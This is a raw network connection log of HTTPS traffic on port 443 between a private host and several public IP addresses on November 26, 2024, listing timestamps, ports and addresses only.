Nov 26, 2024 08:55:21.422671080 CET	443	49819	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:21.422710896 CET	49819	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:21.423274994 CET	443	49819	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:21.423346043 CET	49819	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:21.423352003 CET	443	49819	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:21.443089008 CET	49819	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:21.443147898 CET	443	49819	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:21.457920074 CET	49819	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:21.457932949 CET	443	49819	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:21.503252983 CET	49833	443	192.168.2.4	142.250.181.100
Nov 26, 2024 08:55:21.503298998 CET	443	49833	142.250.181.100	192.168.2.4
Nov 26, 2024 08:55:21.503355980 CET	49833	443	192.168.2.4	142.250.181.100
Nov 26, 2024 08:55:21.503734112 CET	49833	443	192.168.2.4	142.250.181.100
Nov 26, 2024 08:55:21.503746986 CET	443	49833	142.250.181.100	192.168.2.4
Nov 26, 2024 08:55:21.547547102 CET	49819	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:21.634308100 CET	443	49826	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:21.634748936 CET	49826	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:21.634780884 CET	443	49826	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:21.635199070 CET	49826	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:21.635205030 CET	443	49826	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:21.789395094 CET	443	49829	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:21.789994955 CET	49829	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:21.790023088 CET	443	49829	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:21.790425062 CET	49829	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:21.790431976 CET	443	49829	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:22.001070976 CET	443	49830	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:22.001522064 CET	49830	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:22.001554966 CET	443	49830	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:22.002007008 CET	49830	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:22.002012968 CET	443	49830	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:22.080120087 CET	443	49826	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:22.080327034 CET	443	49826	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:22.080387115 CET	49826	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:22.088804960 CET	49826	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:22.088829041 CET	443	49826	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:22.088855028 CET	49826	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:22.088860989 CET	443	49826	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:22.093519926 CET	49834	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:22.093585014 CET	443	49834	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:22.093698978 CET	49834	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:22.093998909 CET	49834	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:22.094027042 CET	443	49834	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:22.132457972 CET	443	49831	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:22.132874012 CET	49831	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:22.132906914 CET	443	49831	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:22.133435011 CET	49831	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:22.133440971 CET	443	49831	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:22.222117901 CET	443	49832	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:22.223124981 CET	49832	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:22.223150969 CET	443	49832	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:22.223614931 CET	49832	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:22.223620892 CET	443	49832	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:22.225938082 CET	443	49829	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:22.226002932 CET	443	49829	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:22.226111889 CET	49829	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:22.226315975 CET	49829	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:22.226336002 CET	443	49829	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:22.226393938 CET	49829	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:22.226401091 CET	443	49829	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:22.229990959 CET	49835	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:22.230031967 CET	443	49835	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:22.230139971 CET	49835	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:22.230266094 CET	49835	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:22.230281115 CET	443	49835	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:22.391392946 CET	443	49819	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:22.391474009 CET	49819	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:22.391486883 CET	443	49819	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:22.391824961 CET	443	49819	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:22.391881943 CET	49819	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:22.392267942 CET	49819	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:22.392281055 CET	443	49819	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:22.404036045 CET	49838	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:22.404048920 CET	443	49838	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:22.404103041 CET	49838	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:22.404320002 CET	49838	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:22.404330015 CET	443	49838	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:22.405862093 CET	49839	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:22.405898094 CET	443	49839	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:22.405973911 CET	49839	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:22.406141043 CET	49839	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:22.406151056 CET	443	49839	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:22.444933891 CET	443	49830	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:22.445008039 CET	443	49830	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:22.445099115 CET	49830	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:22.445503950 CET	49830	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:22.445523024 CET	443	49830	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:22.445538044 CET	49830	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:22.445544958 CET	443	49830	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:22.449224949 CET	49840	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:22.449256897 CET	443	49840	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:22.449388981 CET	49840	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:22.449647903 CET	49840	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:22.449657917 CET	443	49840	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:22.577065945 CET	443	49831	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:22.577133894 CET	443	49831	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:22.577373028 CET	49831	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:22.577438116 CET	49831	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:22.577454090 CET	443	49831	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:22.577464104 CET	49831	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:22.577467918 CET	443	49831	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:22.580172062 CET	49843	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:22.580215931 CET	443	49843	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:22.580288887 CET	49843	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:22.580473900 CET	49843	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:22.580483913 CET	443	49843	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:22.687191010 CET	443	49832	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:22.687253952 CET	443	49832	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:22.687342882 CET	49832	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:22.687482119 CET	49832	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:22.687500954 CET	443	49832	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:22.687525988 CET	49832	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:22.687531948 CET	443	49832	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:22.690063953 CET	49844	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:22.690114975 CET	443	49844	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:22.690192938 CET	49844	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:22.690347910 CET	49844	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:22.690363884 CET	443	49844	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:22.691884995 CET	49845	443	192.168.2.4	142.250.181.110
Nov 26, 2024 08:55:22.691914082 CET	443	49845	142.250.181.110	192.168.2.4
Nov 26, 2024 08:55:22.691967010 CET	49845	443	192.168.2.4	142.250.181.110
Nov 26, 2024 08:55:22.692433119 CET	49845	443	192.168.2.4	142.250.181.110
Nov 26, 2024 08:55:22.692440033 CET	443	49845	142.250.181.110	192.168.2.4
Nov 26, 2024 08:55:23.194257021 CET	443	49833	142.250.181.100	192.168.2.4
Nov 26, 2024 08:55:23.194493055 CET	49833	443	192.168.2.4	142.250.181.100
Nov 26, 2024 08:55:23.194519997 CET	443	49833	142.250.181.100	192.168.2.4
Nov 26, 2024 08:55:23.194794893 CET	443	49833	142.250.181.100	192.168.2.4
Nov 26, 2024 08:55:23.195167065 CET	49833	443	192.168.2.4	142.250.181.100
Nov 26, 2024 08:55:23.195220947 CET	443	49833	142.250.181.100	192.168.2.4
Nov 26, 2024 08:55:23.195638895 CET	49833	443	192.168.2.4	142.250.181.100
Nov 26, 2024 08:55:23.243320942 CET	443	49833	142.250.181.100	192.168.2.4
Nov 26, 2024 08:55:23.877595901 CET	443	49834	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:23.942341089 CET	49834	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:23.946757078 CET	49834	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:23.946774960 CET	443	49834	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:23.950182915 CET	49834	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:23.950192928 CET	443	49834	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:24.017613888 CET	443	49835	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:24.104681969 CET	443	49833	142.250.181.100	192.168.2.4
Nov 26, 2024 08:55:24.104732037 CET	443	49833	142.250.181.100	192.168.2.4
Nov 26, 2024 08:55:24.104753971 CET	443	49833	142.250.181.100	192.168.2.4
Nov 26, 2024 08:55:24.104826927 CET	49833	443	192.168.2.4	142.250.181.100
Nov 26, 2024 08:55:24.104855061 CET	443	49833	142.250.181.100	192.168.2.4
Nov 26, 2024 08:55:24.105091095 CET	49833	443	192.168.2.4	142.250.181.100
Nov 26, 2024 08:55:24.106200933 CET	443	49833	142.250.181.100	192.168.2.4
Nov 26, 2024 08:55:24.106256008 CET	443	49833	142.250.181.100	192.168.2.4
Nov 26, 2024 08:55:24.106301069 CET	49833	443	192.168.2.4	142.250.181.100
Nov 26, 2024 08:55:24.131244898 CET	49835	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:24.131284952 CET	443	49835	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:24.131712914 CET	49835	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:24.131717920 CET	443	49835	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:24.140886068 CET	443	49839	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:24.156706095 CET	49839	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:24.156718969 CET	443	49839	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:24.157185078 CET	443	49839	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:24.157768965 CET	49839	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:24.157824993 CET	443	49839	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:24.158307076 CET	49833	443	192.168.2.4	142.250.181.100
Nov 26, 2024 08:55:24.158320904 CET	443	49833	142.250.181.100	192.168.2.4
Nov 26, 2024 08:55:24.159563065 CET	49839	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:24.165435076 CET	443	49840	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:24.167473078 CET	49840	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:24.167490005 CET	443	49840	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:24.168095112 CET	49840	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:24.168098927 CET	443	49840	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:24.187052965 CET	443	49838	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:24.195354939 CET	49838	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:24.195360899 CET	443	49838	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:24.195801973 CET	443	49838	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:24.197464943 CET	49838	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:24.197525978 CET	443	49838	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:24.197825909 CET	49838	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:24.203325033 CET	443	49839	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:24.239334106 CET	443	49838	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:24.322058916 CET	443	49834	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:24.322133064 CET	443	49834	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:24.322187901 CET	49834	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:24.322407007 CET	49834	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:24.322426081 CET	443	49834	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:24.322437048 CET	49834	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:24.322442055 CET	443	49834	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:24.324933052 CET	49847	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:24.324965954 CET	443	49847	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:24.325093985 CET	49847	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:24.325233936 CET	49847	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:24.325243950 CET	443	49847	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:24.365196943 CET	443	49843	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:24.367253065 CET	49843	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:24.367273092 CET	443	49843	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:24.367844105 CET	49843	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:24.367847919 CET	443	49843	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:24.462702990 CET	443	49835	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:24.462764025 CET	443	49835	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:24.462882042 CET	49835	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:24.463099003 CET	49835	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:24.463115931 CET	443	49835	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:24.463134050 CET	49835	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:24.463139057 CET	443	49835	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:24.465723038 CET	49848	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:24.465773106 CET	443	49848	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:24.465828896 CET	49848	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:24.466026068 CET	49848	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:24.466038942 CET	443	49848	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:24.471297979 CET	443	49844	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:24.471643925 CET	49844	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:24.471678972 CET	443	49844	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:24.472059965 CET	49844	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:24.472067118 CET	443	49844	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:24.475301027 CET	443	49845	142.250.181.110	192.168.2.4
Nov 26, 2024 08:55:24.475702047 CET	49845	443	192.168.2.4	142.250.181.110
Nov 26, 2024 08:55:24.475713015 CET	443	49845	142.250.181.110	192.168.2.4
Nov 26, 2024 08:55:24.476735115 CET	443	49845	142.250.181.110	192.168.2.4
Nov 26, 2024 08:55:24.476856947 CET	49845	443	192.168.2.4	142.250.181.110
Nov 26, 2024 08:55:24.477091074 CET	49845	443	192.168.2.4	142.250.181.110
Nov 26, 2024 08:55:24.477139950 CET	443	49845	142.250.181.110	192.168.2.4
Nov 26, 2024 08:55:24.477226019 CET	49845	443	192.168.2.4	142.250.181.110
Nov 26, 2024 08:55:24.477230072 CET	443	49845	142.250.181.110	192.168.2.4
Nov 26, 2024 08:55:24.600570917 CET	443	49840	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:24.600635052 CET	443	49840	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:24.600688934 CET	49840	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:24.601139069 CET	49840	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:24.601154089 CET	443	49840	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:24.601171017 CET	49840	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:24.601176977 CET	443	49840	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:24.603621006 CET	49849	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:24.603658915 CET	443	49849	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:24.603734016 CET	49849	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:24.603873968 CET	49849	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:24.603884935 CET	443	49849	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:24.646600008 CET	49845	443	192.168.2.4	142.250.181.110
Nov 26, 2024 08:55:24.810856104 CET	443	49843	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:24.810918093 CET	443	49843	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:24.811009884 CET	49843	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:24.811394930 CET	49843	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:24.811417103 CET	443	49843	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:24.811429024 CET	49843	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:24.811434031 CET	443	49843	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:24.814122915 CET	49850	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:24.814177990 CET	443	49850	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:24.814239979 CET	49850	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:24.814579010 CET	49850	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:24.814589024 CET	443	49850	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:24.919717073 CET	443	49844	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:24.919785976 CET	443	49844	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:24.919836044 CET	49844	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:24.920042038 CET	49844	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:24.920068026 CET	443	49844	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:24.920082092 CET	49844	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:24.920089006 CET	443	49844	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:24.923554897 CET	49851	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:24.923598051 CET	443	49851	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:24.923654079 CET	49851	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:24.923942089 CET	49851	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:24.923954964 CET	443	49851	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:25.059304953 CET	443	49839	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:25.059365988 CET	443	49839	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:25.059427023 CET	49839	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:25.059464931 CET	443	49839	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:25.059504986 CET	49839	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:25.068353891 CET	443	49839	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:25.068411112 CET	49839	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:25.077590942 CET	443	49839	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:25.077663898 CET	49839	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:25.086435080 CET	443	49839	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:25.086487055 CET	49839	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:25.094840050 CET	443	49839	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:25.094906092 CET	49839	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:25.100002050 CET	443	49839	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:25.113569021 CET	443	49839	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:25.113626003 CET	49839	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:25.113648891 CET	443	49839	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:25.116503954 CET	443	49838	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:25.116569996 CET	49838	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:25.116599083 CET	443	49838	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:25.124691963 CET	443	49838	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:25.124757051 CET	49838	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:25.124766111 CET	443	49838	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:25.124784946 CET	443	49838	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:25.124921083 CET	49838	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:25.134628057 CET	443	49838	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:25.134680986 CET	49838	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:25.144232035 CET	443	49838	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:25.144285917 CET	49838	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:25.157082081 CET	443	49838	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:25.157135010 CET	49838	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:25.162353039 CET	443	49838	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:25.162400007 CET	49838	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:25.236496925 CET	443	49838	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:25.236562967 CET	49838	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:25.246066093 CET	443	49839	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:25.246120930 CET	49839	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:25.246145010 CET	443	49839	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:25.260250092 CET	443	49839	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:25.260298967 CET	49839	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:25.260320902 CET	443	49839	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:25.263931990 CET	443	49839	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:25.263974905 CET	49839	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:25.263983011 CET	443	49839	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:25.273190022 CET	443	49839	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:25.273235083 CET	49839	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:25.273247957 CET	443	49839	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:25.281567097 CET	443	49839	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:25.281610012 CET	49839	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:25.281616926 CET	443	49839	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:25.293889999 CET	443	49839	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:25.293931961 CET	49839	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:25.293939114 CET	443	49839	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:25.304312944 CET	443	49838	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:25.304378986 CET	49838	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:25.304414034 CET	443	49838	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:25.304492950 CET	49838	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:25.304539919 CET	443	49838	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:25.304598093 CET	49838	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:25.307467937 CET	443	49839	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:25.307521105 CET	49839	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:25.307543993 CET	443	49839	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:25.321141958 CET	443	49839	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:25.321201086 CET	49839	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:25.321218967 CET	443	49839	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:25.334685087 CET	443	49839	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:25.334739923 CET	49839	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:25.334753990 CET	443	49839	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:25.347265005 CET	443	49839	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:25.347336054 CET	49839	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:25.347357035 CET	443	49839	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:25.359879971 CET	443	49839	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:25.359935999 CET	49839	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:25.359952927 CET	443	49839	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:25.372282028 CET	443	49839	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:25.372328997 CET	49839	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:25.372342110 CET	443	49839	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:25.385009050 CET	443	49839	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:25.385054111 CET	49839	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:25.385067940 CET	443	49839	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:25.389431000 CET	443	49845	142.250.181.110	192.168.2.4
Nov 26, 2024 08:55:25.389569998 CET	443	49845	142.250.181.110	192.168.2.4
Nov 26, 2024 08:55:25.389607906 CET	49845	443	192.168.2.4	142.250.181.110
Nov 26, 2024 08:55:25.389622927 CET	443	49845	142.250.181.110	192.168.2.4
Nov 26, 2024 08:55:25.389766932 CET	443	49845	142.250.181.110	192.168.2.4
Nov 26, 2024 08:55:25.389818907 CET	49845	443	192.168.2.4	142.250.181.110
Nov 26, 2024 08:55:25.389830112 CET	443	49845	142.250.181.110	192.168.2.4
